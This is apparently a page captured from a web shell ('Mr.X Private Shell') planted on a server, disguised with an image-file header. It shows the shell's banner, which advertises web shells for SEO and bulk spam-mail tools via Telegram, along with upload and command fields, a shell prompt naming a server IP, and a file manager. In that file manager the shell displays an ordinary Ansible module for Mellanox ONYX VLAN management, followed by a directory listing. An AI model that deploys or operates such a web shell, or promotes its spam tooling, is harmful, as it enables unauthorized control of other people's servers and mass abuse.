����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#
# Copyright: Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type

DOCUMENTATION = '''
---
module: onyx_vlan
author: "Samer Deeb (@samerd) Alex Tabachnik (@atabachnik)"
short_description: Manage VLANs on Mellanox ONYX network devices
description:
  - This module provides declarative management of VLANs
    on Mellanox ONYX network devices.
options:
  name:
    description:
      - Name of the VLAN.
  vlan_id:
    description:
      - ID of the VLAN.
  aggregate:
    description: List of VLANs definitions.
  purge:
    description:
      - Purge VLANs not defined in the I(aggregate) parameter.
    default: no
    type: bool
  state:
    description:
      - State of the VLAN configuration.
    default: present
    choices: ['present', 'absent']
'''

EXAMPLES = """
- name: Configure VLAN ID and name
  onyx_vlan:
    vlan_id: 20
    name: test-vlan

- name: Remove configuration
  onyx_vlan:
    state: absent
"""

RETURN = """
commands:
  description: The list of configuration mode commands to send to the device
  returned: always.
  type: list
  sample:
    - vlan 20
    - name test-vlan
    - exit
"""

from copy import deepcopy

from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.six import iteritems
from ansible_collections.ansible.netcommon.plugins.module_utils.network.common.utils import remove_default_spec

from ansible_collections.mellanox.onyx.plugins.module_utils.network.onyx.onyx import BaseOnyxModule
from ansible_collections.mellanox.onyx.plugins.module_utils.network.onyx.onyx import show_cmd


class OnyxVlanModule(BaseOnyxModule):
    _purge = False

    @classmethod
    def _get_element_spec(cls):
        return dict(
            vlan_id=dict(type='int'),
            name=dict(type='str'),
            state=dict(default='present', choices=['present', 'absent']),
        )

    @classmethod
    def _get_aggregate_spec(cls, element_spec):
        aggregate_spec = deepcopy(element_spec)
        aggregate_spec['vlan_id'] = dict(required=True)

        # remove default in aggregate spec, to handle common arguments
        remove_default_spec(aggregate_spec)
        return aggregate_spec

    def init_module(self):
        """ module initialization
        """
        element_spec = self._get_element_spec()
        aggregate_spec = self._get_aggregate_spec(element_spec)
        argument_spec = dict(
            aggregate=dict(type='list', elements='dict',
                           options=aggregate_spec),
            purge=dict(default=False, type='bool'),
        )
        argument_spec.update(element_spec)
        required_one_of = [['vlan_id', 'aggregate']]
        mutually_exclusive = [['vlan_id', 'aggregate']]
        self._module = AnsibleModule(
            argument_spec=argument_spec,
            required_one_of=required_one_of,
            mutually_exclusive=mutually_exclusive,
            supports_check_mode=True)

    def validate_vlan_id(self, value):
        if value and not 1 <= int(value) <= 4094:
            self._module.fail_json(msg='vlan id must be between 1 and 4094')

    def get_required_config(self):
        self._required_config = list()
        module_params = self._module.params
        aggregate = module_params.get('aggregate')
        self._purge = module_params.get('purge', False)
        if aggregate:
            for item in aggregate:
                for key in item:
                    if item.get(key) is None:
                        item[key] = module_params[key]
                self.validate_param_values(item, item)
                req_item = item.copy()
                req_item['vlan_id'] = int(req_item['vlan_id'])
                self._required_config.append(req_item)
        else:
            params = {
                'vlan_id': module_params['vlan_id'],
                'name': module_params['name'],
                'state': module_params['state'],
            }
            self.validate_param_values(params)
            self._required_config.append(params)

    def _create_vlan_data(self, vlan_id, vlan_data):
        if self._os_version >= self.ONYX_API_VERSION:
            vlan_data = vlan_data[0]
        return {
            'vlan_id': vlan_id,
            'name': self.get_config_attr(vlan_data, 'Name')
        }

    def _get_vlan_config(self):
        return show_cmd(self._module, "show vlan")

    def load_current_config(self):
        # called in base class in run function
        self._os_version = self._get_os_version()
        self._current_config = dict()
        vlan_config = self._get_vlan_config()
        if not vlan_config:
            return
        for vlan_id, vlan_data in iteritems(vlan_config):
            try:
                vlan_id = int(vlan_id)
            except ValueError:
                continue
            self._current_config[vlan_id] = \
                self._create_vlan_data(vlan_id, vlan_data)

    def generate_commands(self):
        req_vlans = set()
        for req_conf in self._required_config:
            state = req_conf['state']
            vlan_id = req_conf['vlan_id']
            if state == 'absent':
                if vlan_id in self._current_config:
                    self._commands.append('no vlan %s' % vlan_id)
            else:
                req_vlans.add(vlan_id)
                self._generate_vlan_commands(vlan_id, req_conf)
        if self._purge:
            for vlan_id in self._current_config:
                if vlan_id not in req_vlans:
                    self._commands.append('no vlan %s' % vlan_id)

    def _generate_vlan_commands(self, vlan_id, req_conf):
        curr_vlan = self._current_config.get(vlan_id, {})
        if not curr_vlan:
            self._commands.append("vlan %s" % vlan_id)
            self._commands.append("exit")
        req_name = req_conf['name']
        curr_name = curr_vlan.get('name')
        if req_name:
            if req_name != curr_name:
                self._commands.append("vlan %s name %s" % (vlan_id, req_name))
        elif req_name is not None:
            if curr_name:
                self._commands.append("vlan %s no name" % vlan_id)


def main():
    """ main entry point for module execution
    """
    OnyxVlanModule.main()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
onyx_aaa.py File 5.63 KB 0644
onyx_bfd.py File 10.93 KB 0644
onyx_bgp.py File 18.75 KB 0644
onyx_buffer_pool.py File 4.68 KB 0644
onyx_command.py File 6.46 KB 0644
onyx_config.py File 9.21 KB 0644
onyx_facts.py File 6.88 KB 0644
onyx_igmp.py File 7.56 KB 0644
onyx_igmp_interface.py File 3.93 KB 0644
onyx_igmp_vlan.py File 18.34 KB 0644
onyx_interface.py File 16.85 KB 0644
onyx_l2_interface.py File 10.62 KB 0644
onyx_l3_interface.py File 9.8 KB 0644
onyx_linkagg.py File 12.1 KB 0644
onyx_lldp.py File 2.92 KB 0644
onyx_lldp_interface.py File 7.16 KB 0644
onyx_magp.py File 8.01 KB 0644
onyx_mlag_ipl.py File 6.51 KB 0644
onyx_mlag_vip.py File 5.61 KB 0644
onyx_ntp.py File 9.2 KB 0644
onyx_ntp_servers_peers.py File 10.83 KB 0644
onyx_ospf.py File 7.89 KB 0644
onyx_pfc_interface.py File 6.86 KB 0644
onyx_protocol.py File 6.24 KB 0644
onyx_ptp_global.py File 6.65 KB 0644
onyx_ptp_interface.py File 7.83 KB 0644
onyx_qos.py File 9.01 KB 0644
onyx_snmp.py File 19.22 KB 0644
onyx_snmp_hosts.py File 20.09 KB 0644
onyx_snmp_users.py File 11.59 KB 0644
onyx_syslog_files.py File 9.45 KB 0644
onyx_syslog_remote.py File 13.2 KB 0644
onyx_traffic_class.py File 14.01 KB 0644
onyx_username.py File 10.18 KB 0644
onyx_vlan.py File 6.24 KB 0644
onyx_vxlan.py File 9.21 KB 0644
onyx_wjh.py File 7.02 KB 0644